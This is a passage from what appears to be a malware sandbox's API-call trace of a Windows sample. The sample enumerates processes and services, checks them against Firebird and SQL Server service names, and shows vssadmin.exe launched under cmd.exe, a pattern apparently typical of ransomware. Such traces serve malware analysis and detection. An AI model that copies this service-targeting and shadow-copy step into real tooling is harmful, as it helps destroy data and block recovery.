(lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0241.514] lstrlenW (lpString="SystemEventsBroker") returned 18 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0241.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0241.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0241.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0241.514] lstrlenW (lpString="Themes") returned 6 [0241.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0241.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0241.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0241.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0241.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0241.515] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0241.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0241.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0241.515] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0241.515] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0241.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0241.515] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0241.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0241.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0241.515] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0241.515] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0241.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0241.518] Process32FirstW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.519] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.519] lstrlenW (lpString="System") returned 6 [0241.519] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.519] lstrlenW (lpString="smss.exe") returned 8 [0241.519] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.520] lstrlenW (lpString="csrss.exe") returned 9 [0241.520] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.520] lstrlenW (lpString="wininit.exe") returned 11 [0241.520] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.520] lstrlenW (lpString="csrss.exe") returned 9 [0241.520] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.521] lstrlenW (lpString="winlogon.exe") returned 12 [0241.521] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.521] lstrlenW (lpString="services.exe") returned 12 [0241.521] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.521] lstrlenW (lpString="lsass.exe") returned 9 [0241.521] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.522] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0241.522] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.522] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0241.522] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.522] lstrlenW (lpString="svchost.exe") returned 11 [0241.522] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.523] lstrlenW (lpString="svchost.exe") returned 11 [0241.523] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.523] lstrlenW (lpString="dwm.exe") returned 7 [0241.523] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.523] lstrlenW (lpString="svchost.exe") returned 11 [0241.523] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.524] lstrlenW (lpString="svchost.exe") returned 11 [0241.524] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.524] lstrlenW (lpString="svchost.exe") returned 11 [0241.524] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.524] lstrlenW (lpString="svchost.exe") returned 11 [0241.524] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.525] lstrlenW (lpString="svchost.exe") returned 11 [0241.525] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.525] lstrlenW (lpString="svchost.exe") returned 11 [0241.525] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.525] lstrlenW (lpString="svchost.exe") returned 11 [0241.525] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.526] lstrlenW (lpString="svchost.exe") returned 11 [0241.526] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.526] lstrlenW (lpString="svchost.exe") returned 11 [0241.526] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.526] lstrlenW (lpString="svchost.exe") returned 11 [0241.526] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.527] lstrlenW (lpString="spoolsv.exe") returned 11 [0241.527] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.527] lstrlenW (lpString="svchost.exe") returned 11 [0241.527] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.527] lstrlenW (lpString="audiodg.exe") returned 11 [0241.527] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.527] lstrlenW (lpString="svchost.exe") returned 11 [0241.528] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.528] lstrlenW (lpString="sihost.exe") returned 10 [0241.528] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0241.528] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0241.528] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0241.733] lstrlenW (lpString="Memory Compression") returned 18 [0241.734] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.734] lstrlenW (lpString="taskhostw.exe") returned 13 [0241.734] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.734] lstrlenW (lpString="explorer.exe") returned 12 [0241.734] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.735] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0241.735] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.735] lstrlenW (lpString="SearchUI.exe") returned 12 [0241.735] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.735] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0241.735] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0241.736] lstrlenW (lpString="winhost.exe") returned 11 [0241.736] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0241.736] lstrlenW (lpString="cmd.exe") returned 7 [0241.736] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0241.736] lstrlenW (lpString="conhost.exe") returned 11 [0241.736] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0241.737] lstrlenW (lpString="dllhost.exe") returned 11 [0241.737] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0241.737] lstrlenW (lpString="vssadmin.exe") returned 12 [0241.737] Process32NextW (in: hSnapshot=0x340, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0241.737] CloseHandle (hObject=0x340) returned 1 [0241.737] Sleep (dwMilliseconds=0x1f4) [0242.267] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0242.268] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0242.268] GetLastError () returned 0xea [0242.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5061090 [0242.269] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5061090, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5061090, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0242.269] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0242.269] lstrlenW (lpString="Appinfo") returned 7 [0242.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0242.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0242.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0242.270] lstrlenW (lpString="AppXSvc") returned 7 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0242.270] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0242.270] lstrlenW (lpString="Audiosrv") returned 8 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0242.270] lstrlenW (lpString="BFE") returned 3 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0242.270] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0242.270] lstrlenW (lpString="CDPSvc") returned 6 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0242.270] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0242.270] lstrlenW (lpString="CryptSvc") returned 8 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0242.270] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0242.270] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0242.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0242.270] lstrlenW (lpString="DcomLaunch") returned 10 [0242.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0242.271] lstrlenW (lpString="DeviceAssociationService") returned 24 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0242.271] lstrlenW (lpString="Dhcp") returned 4 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0242.271] lstrlenW (lpString="Dnscache") returned 8 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0242.271] lstrlenW (lpString="DPS") returned 3 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0242.271] lstrlenW (lpString="DusmSvc") returned 7 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0242.271] lstrlenW (lpString="EventLog") returned 8 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0242.271] 